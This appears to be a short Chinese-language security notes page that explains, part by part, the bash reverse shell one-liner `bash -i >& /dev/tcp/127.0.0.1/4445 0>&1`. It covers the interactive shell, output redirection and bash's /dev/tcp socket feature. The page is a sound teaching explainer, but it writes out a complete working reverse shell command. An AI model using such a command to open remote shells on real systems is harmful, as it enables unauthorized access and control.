> For the complete documentation index, see [llms.txt](https://jtz.gitbook.io/web-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jtz.gitbook.io/web-security/wang-luo-xi-tong/linux/za-lei/tan-suo-reverse-shell.md).

# 探索 Reverse SHELL

> 在执行 `bash -i >& /dev/tcp/127.0.0.1/4445 0>&1` 时如何理解

1. `bash -i` 交互 shell
2. `>&` 重定向标准输出和错误
3. `/dev/tcp/127.0.0.1/4445`

   > /dev/tcp/host\*\*\*/\*\*\*port : 如果 host 是一个有效的主机名或 INternet 地址，而 port 是一个端口号或者服务名称， bash 会尝试打开到相应套接字的 TCP 连接
4. `0>&1` : 将文件描述符*数字*移动到文件描述符*n*或标准输入（文件描述符 0）（如果未指定n ）。

<figure><img src="https://2782775614-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmodvfbtAAhl1JNxfj5xs%2Fuploads%2FjXlxuviMNycgzdPpPjbN%2Fre_shell1.png?alt=media&amp;token=dd0ca24f-1f0e-41b4-a3a3-660013395f54" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2782775614-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmodvfbtAAhl1JNxfj5xs%2Fuploads%2FsgzI1N4qIDM9ifWuu19I%2Fre_shell2.png?alt=media&amp;token=ba9d480a-c0d7-4813-a867-410e5105dadc" alt=""><figcaption></figcaption></figure>

## 参考

* [参考视频](https://www.youtube.com/watch?v=OjkVep2EIlw)
